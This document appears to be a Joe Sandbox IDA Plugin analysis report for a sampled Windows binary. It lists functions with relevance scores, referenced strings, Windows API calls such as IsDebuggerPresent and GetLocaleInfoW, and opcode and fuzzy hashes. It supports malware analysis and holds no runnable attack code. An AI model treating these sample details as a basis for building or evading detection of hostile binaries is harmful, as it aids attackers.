Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid
String ID: utf8
API String ID: 607553120-905460609
Opcode ID: d9c1a9b441f94cc6cd145e114eca4b80d2f7836ad66d97f0534f0e58882f7169
Instruction ID: 0d37ff750c915f4bc0aba57b5521a1229478423d275f83b19d070a8fb21b87e0
Opcode Fuzzy Hash: d9c1a9b441f94cc6cd145e114eca4b80d2f7836ad66d97f0534f0e58882f7169
Instruction Fuzzy Hash: E171D432600606AEDB27EF74CC46BAB73A8EF47701F15442AF505EB581EB74E940C761

Uniqueness

Uniqueness Score: -1.00%

Function 003BEF40 Relevance: 6.7, Strings: 5, Instructions: 498COMMON

Download Yara Rule

Strings

), xrefs: 003BEFBB
IHDR, xrefs: 003BF3A3
VUUU, xrefs: 003BF0B2
IEND, xrefs: 003BF48F
IDAT, xrefs: 003BF414

Memory Dump Source

Source File: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID:
String ID: )$IDAT$IEND$IHDR$VUUU
API String ID: 0-2101632234
Opcode ID: eb8e9aa63660ee05a0b46df12369da275d2afbad3960994c196e8e827096a5c5
Instruction ID: 84db9a26f89b1aa9504afbb2015d6a99d5464722151dc535ec6d50615e756d40
Opcode Fuzzy Hash: eb8e9aa63660ee05a0b46df12369da275d2afbad3960994c196e8e827096a5c5
Instruction Fuzzy Hash: 8E120075A043548FC710CF28CC90BABBBE0EB85308F05896DFA859B792D775D909CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00396E56 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 00396E62
IsDebuggerPresent.KERNEL32 ref: 00396F2E
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00396F47
UnhandledExceptionFilter.KERNEL32(?), ref: 00396F51

Memory Dump Source

Source File: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 771fd34c9d279aa213017658a53e0570d6180c4086816aa2e563ed8e39951b62
Instruction ID: c9ba8f9238f976b34ddc0888c92446ea577786eb59df8bec9b9af9e71295aaf3
Opcode Fuzzy Hash: 771fd34c9d279aa213017658a53e0570d6180c4086816aa2e563ed8e39951b62
Instruction Fuzzy Hash: 14310AB5D053199BDF22DFA4D9497CDBBB8AF08300F1041EAE50DAB290EB719A84CF45

Uniqueness

Uniqueness Score: -1.00%

Function 003E2FD4 Relevance: 5.8, Strings: 4, Instructions: 783COMMON

Download Yara Rule

Strings

khvr, xrefs: 003E35B7
M9Ke, xrefs: 003E30EC
jLB', xrefs: 003E3827
*&"V, xrefs: 003E30D8

Memory Dump Source

Source File: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID:
String ID: *&"V$M9Ke$jLB'$khvr
API String ID: 0-3332911809
Opcode ID: 63f5aa999c80f44e5aaecff2c82d6d295a56820df0a6704d15215959dc67538c
Instruction ID: fcee9927cc29bfa480a3b4cddf3e827381bd7250a14d5419a11119510fc62407
Opcode Fuzzy Hash: 63f5aa999c80f44e5aaecff2c82d6d295a56820df0a6704d15215959dc67538c
Instruction Fuzzy Hash: B552BF70104B918AE736CF35C8987E3BBE1AF16305F484A9DD4EB9B2C2C779A605CB51

Uniqueness

Uniqueness Score: -1.00%

Function 003AA2F8 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 003A17CA: GetLastError.KERNEL32(?,00000008,003A6C2A), ref: 003A17CE
Part of subcall function 003A17CA: SetLastError.KERNEL32(00000000,003B7B20,00000024,0039E406), ref: 003A1870

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 003AA34C
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 003AA396
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 003AA45C

Memory Dump Source

Source File: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: 197792ceb7f5fb3e1e13099d1b36c74bfd60e4a0d4b7d95164b8548f839d8088
Instruction ID: 79dcf248a549076020c477a42beac6266479717a0d94707ad770928fe9a22df2
Opcode Fuzzy Hash: 197792ceb7f5fb3e1e13099d1b36c74bfd60e4a0d4b7d95164b8548f839d8088
Instruction Fuzzy Hash: 0761E372900A079FDB2A9F25CC86BBAB3B8EF0A300F154079F905CA685F774D985CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0039B916 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 0039BA0E
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 0039BA18
UnhandledExceptionFilter.KERNEL32(003911D4,?,?,?,?,?,00000000), ref: 0039BA25

Memory Dump Source

Source File: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 3ff370f11f99b3faf59ea89838ea90852a371e1b7173bb93f04ad366a91eac33
Instruction ID: 9fd0fc8a5578330b9dce347bd21f8f7eb2c73e30bd521c18170305a01ab9ff5c
Opcode Fuzzy Hash: 3ff370f11f99b3faf59ea89838ea90852a371e1b7173bb93f04ad366a91eac33
Instruction Fuzzy Hash: 9C31C5749112199BCF22DF68D989B9DBBB8BF08310F5041EAE51CA7291E7709F858F44

Uniqueness

Uniqueness Score: -1.00%

Function 003E12C0 Relevance: 4.5, Strings: 3, Instructions: 787COMMON

Download Yara Rule

Strings

"L:X, xrefs: 003E1DC6
32, xrefs: 003E246F
dx6{, xrefs: 003E1DD0

Memory Dump Source

Source File: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID:
String ID: 32$"L:X$dx6{
API String ID: 0-503599695
Opcode ID: 189ed4559ee44cf559f6cad8bee6b38f8cefaceba0e8998fe1bf001ba446db38
Instruction ID: a06de454f6b093389c4830018eb8eaad135058b4f7e1c99b5ad61d73c7c84bfe
Opcode Fuzzy Hash: 189ed4559ee44cf559f6cad8bee6b38f8cefaceba0e8998fe1bf001ba446db38
Instruction Fuzzy Hash: 9042CC70204B918BD336CF2AC4907A7BBE2BF56304F588A5DD4E68BBD5C379A506CB50

Uniqueness

Uniqueness Score: -1.00%

Function 003FAD70 Relevance: 4.0, Strings: 3, Instructions: 299COMMON

Download Yara Rule

Strings

GDEJ, xrefs: 003FADDA
R-,T, xrefs: 003FAF00
R-,T, xrefs: 003FAE10

Memory Dump Source

Source File: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID:
String ID: GDEJ$R-,T$R-,T
API String ID: 0-3277365129
Opcode ID: 58e01476cf02f28c23649d3828ae2a113e551e3a8735a0c68f1d97f157fe7877
Instruction ID: c4254204cd70b7607c3607f0c7396842b22937ed504bb393c6a6d7703642bf83
Opcode Fuzzy Hash: 58e01476cf02f28c23649d3828ae2a113e551e3a8735a0c68f1d97f157fe7877
Instruction Fuzzy Hash: DCA1BEB26043169BC716CF18C49066BF7E1FF88354F158A2CE9A99B391D730EC55CB92

Uniqueness

Uniqueness Score: -1.00%

Function 003A1FE8 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,003A0761,?,20001004,00000000,00000002,?,?,0039FD63), ref: 003A201C

Strings

@9, xrefs: 003A2007

Memory Dump Source

Source File: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID: InfoLocale
String ID: @9
API String ID: 2299586839-1263358865
Opcode ID: 931cdb1e16b3a06b2e900478be0ee7b5d3a4e2cdb4c3815944fb397ba5271933
Instruction ID: 2d8df5c061ff241ced02d5c76bd29b51b59d68561e85fed4b027e6f245394408
Opcode Fuzzy Hash: 931cdb1e16b3a06b2e900478be0ee7b5d3a4e2cdb4c3815944fb397ba5271933
Instruction Fuzzy Hash: 3AE04F31500118BFCF176FA5DC08E9F7E6AEF56760F008121FD0566121CB358D22AA94

Uniqueness

Uniqueness Score: -1.00%

Function 003D29A5 Relevance: 3.4, Strings: 2, Instructions: 945COMMON

Download Yara Rule

Strings

gv, xrefs: 003D3106
a,SO, xrefs: 003D338C

Memory Dump Source

Source File: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID:
String ID: a,SO$gv
API String ID: 0-2259738693
Opcode ID: 62e888a80d191063c424a0c6283ec0a609a3e15137d9621db4031cd2c6c67902
Instruction ID: 0306113292049ba981fef6dc8784df7bd63764dc03408f2d6f64a1e6d304bf10
Opcode Fuzzy Hash: 62e888a80d191063c424a0c6283ec0a609a3e15137d9621db4031cd2c6c67902
Instruction Fuzzy Hash: A25287B1600A018BD725CF18C891B23B7F2FF59314F198A59D8A68FB96E335E841CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 003BFBE4 Relevance: 3.3, Strings: 2, Instructions: 789COMMON

Download Yara Rule

Strings

8, xrefs: 003C04E4
0, xrefs: 003C04EF

Memory Dump Source

Source File: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID:
String ID: 0$8
API String ID: 0-46163386
Opcode ID: e36aec3336a57b662c83d4f52bf134f8c5b5be5ac8504965444d021a6a8ee785
Instruction ID: 59aa2672cd70c9d3c01fd2b078b33545a43ab09f5fcbefbc91aa4c04969cbc7a
Opcode Fuzzy Hash: e36aec3336a57b662c83d4f52bf134f8c5b5be5ac8504965444d021a6a8ee785
Instruction Fuzzy Hash: E7725775608380DFD725CF28C844BAABBE1BF84318F19892DF9898B791C775D944CB92

Uniqueness

Uniqueness Score: -1.00%

Function 003E0880 Relevance: 3.0, Strings: 2, Instructions: 538COMMON

Download Yara Rule

Strings

", xrefs: 003E0D21
", xrefs: 003E0C63

Memory Dump Source

Source File: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID:
String ID: "$"
API String ID: 0-3758156766
Opcode ID: e1abaed83467878e5d7e1556d95d19ea4cc1d5e30c4b6b21daf0518aeddd38be
Instruction ID: fc274032725bb9242d362ad6c7ed2db096c202a40cc661a89088a434fa13daae
Opcode Fuzzy Hash: e1abaed83467878e5d7e1556d95d19ea4cc1d5e30c4b6b21daf0518aeddd38be
Instruction Fuzzy Hash: CB0258716083A58FD71ACE6AC49076BB7E5ABC4314F198B2DE4958B3C1D7B4DC84C781

Uniqueness

Uniqueness Score: -1.00%

Function 003E1C63 Relevance: 2.9, Strings: 2, Instructions: 411COMMON

Download Yara Rule

Strings

"L:X, xrefs: 003E1DC6
dx6{, xrefs: 003E1DD0

Memory Dump Source

Source File: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID:
String ID: "L:X$dx6{
API String ID: 0-1289678870
Opcode ID: 03eee4db1070517ac38fd50a7a3a407ddf113475ee9f0492e3302940ab479c1b
Instruction ID: 3278c6fec500d9201a95e3dd490ad25acd74ba72cf9fda539f0dc134e921a6e3
Opcode Fuzzy Hash: 03eee4db1070517ac38fd50a7a3a407ddf113475ee9f0492e3302940ab479c1b
Instruction Fuzzy Hash: D2E1AB70504BA18BD336CF36C0943A7BBE2BF56304F548A2ED4E74BA95C779A506CB50

Uniqueness

Uniqueness Score: -1.00%

Function 003E1C0E Relevance: 2.9, Strings: 2, Instructions: 410COMMON

Download Yara Rule

Strings

"L:X, xrefs: 003E1DC6
dx6{, xrefs: 003E1DD0

Memory Dump Source

Source File: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID:
String ID: "L:X$dx6{
API String ID: 0-1289678870
Opcode ID: a67a014ea1c87bc51eb037d5cd223b8b9dd72b328b0282fcc2d48f0c23567b94
Instruction ID: 50ef2aae969b195ec320fc6ff2ad38e8c5cf442acb097212b82e666d4c3dc948
Opcode Fuzzy Hash: a67a014ea1c87bc51eb037d5cd223b8b9dd72b328b0282fcc2d48f0c23567b94
Instruction Fuzzy Hash: DFE1AC70504BA18BD336CF36C0943A7BBE2BF56304F548A2ED8E74BA95C779A506CB50

Uniqueness

Uniqueness Score: -1.00%

Function 003D1CD7 Relevance: 2.8, Strings: 2, Instructions: 327COMMON

Download Yara Rule

Strings

w|, xrefs: 003D1E7C
@A, xrefs: 003D1DA2

Memory Dump Source

Source File: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID:
String ID: @A$w|
API String ID: 0-382124479
Opcode ID: b10b6fdf8260df5a09693df80ac2419973a80783efa4a0e2f1685bbfe8cb9d5f
Instruction ID: 7f0814c76bc7b19d519522bf8742bf3a641ce3c80bb0a5d7e483d3f7ee227015
Opcode Fuzzy Hash: b10b6fdf8260df5a09693df80ac2419973a80783efa4a0e2f1685bbfe8cb9d5f
Instruction Fuzzy Hash: 60D157B15083809BD765CF14D490B9FBBF2FF85314F048A2DE4C99B351D77999098B86

Uniqueness

Uniqueness Score: -1.00%

Function 003D244E Relevance: 2.8, Strings: 2, Instructions: 314COMMON

Download Yara Rule

Strings

|A@C, xrefs: 003D2838
lm, xrefs: 003D24AA

Memory Dump Source

Source File: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID:
String ID: lm$|A@C
API String ID: 0-508349267
Opcode ID: ed80614061aa4698cbd794694933b1683d9860e02baac2051a698abb8c82eccc
Instruction ID: ef28cf968fe023687d445bf89c0cd7a6a188d86a8eeaf0b97e96f59766d6b348
Opcode Fuzzy Hash: ed80614061aa4698cbd794694933b1683d9860e02baac2051a698abb8c82eccc
Instruction Fuzzy Hash: BDA1CEB15083408BD325CF14D8A1B6BB7F1FF9A314F158A1DE8D99B381E7749805CB96

Uniqueness

Uniqueness Score: -1.00%

Function 003A6294 Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,?,?,?,003A628F,?,?,?,?,?,?,00000000), ref: 003A64C1

Memory Dump Source

Source File: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 15ead1d46639aa3d3fce264042cde83e62cae1c32c70c73b44152b2f81142f7f
Instruction ID: 6d41f2ad7546493d91a5722c3d5f106865a6da008c4852de79e58574a8e5ae06
Opcode Fuzzy Hash: 15ead1d46639aa3d3fce264042cde83e62cae1c32c70c73b44152b2f81142f7f
Instruction Fuzzy Hash: 0DB15175610604DFDB1ACF2CC486B657BE0FF46364F2A8658E99ACF2A1C335E952CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00396B7C Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00396B92

Memory Dump Source

Source File: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: feb3210681c807758f8d1a32f4d8cc87a017273d8e74fee5b00cc3c36dcbaf3b
Instruction ID: e5356e750d33ab928aedc45c7e175ef5f0d1e62cd4e22782f6555ed1f299c74a
Opcode Fuzzy Hash: feb3210681c807758f8d1a32f4d8cc87a017273d8e74fee5b00cc3c36dcbaf3b
Instruction Fuzzy Hash: 655190B5A02A05CFDF1ACF69D8827AABBF8FB48354F15812AD549EB290D3749D40CF50

Uniqueness

Uniqueness Score: -1.00%

Function 003A7331 Relevance: 1.6, APIs: 1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f04b05b4794d672e2c63577caf7fbef1698792abf4482b325d6400e78e49927d
Instruction ID: 0bb4340c0b377c28b4d46185c47d4e757e56f0ba82f752f9f0778e93b99072e6
Opcode Fuzzy Hash: f04b05b4794d672e2c63577caf7fbef1698792abf4482b325d6400e78e49927d
Instruction Fuzzy Hash: 1941CFB5808219AFDF21DF79CC89AAABBB8EB46300F1442D9E418D3201DA319E848F50

Uniqueness

Uniqueness Score: -1.00%

Function 003AA54B Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 003A17CA: GetLastError.KERNEL32(?,00000008,003A6C2A), ref: 003A17CE
Part of subcall function 003A17CA: SetLastError.KERNEL32(00000000,003B7B20,00000024,0039E406), ref: 003A1870

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 003AA59F

Memory Dump Source

Source File: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 59d56e4ab1eaa05e8da35194a1ed70635b3f1a9f881af553cdace8727983b204
Instruction ID: 590ef7d60c8cc67b8b3886bb92e9bc5e91bb475dbce543622c180a433d9486b2
Opcode Fuzzy Hash: 59d56e4ab1eaa05e8da35194a1ed70635b3f1a9f881af553cdace8727983b204
Instruction Fuzzy Hash: 3A21B032A00606ABDB2AAE64CC46A7B33BCEF46314F15407AF901DA141FB349D44DB55

Uniqueness

Uniqueness Score: -1.00%

Function 003AA1D2 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

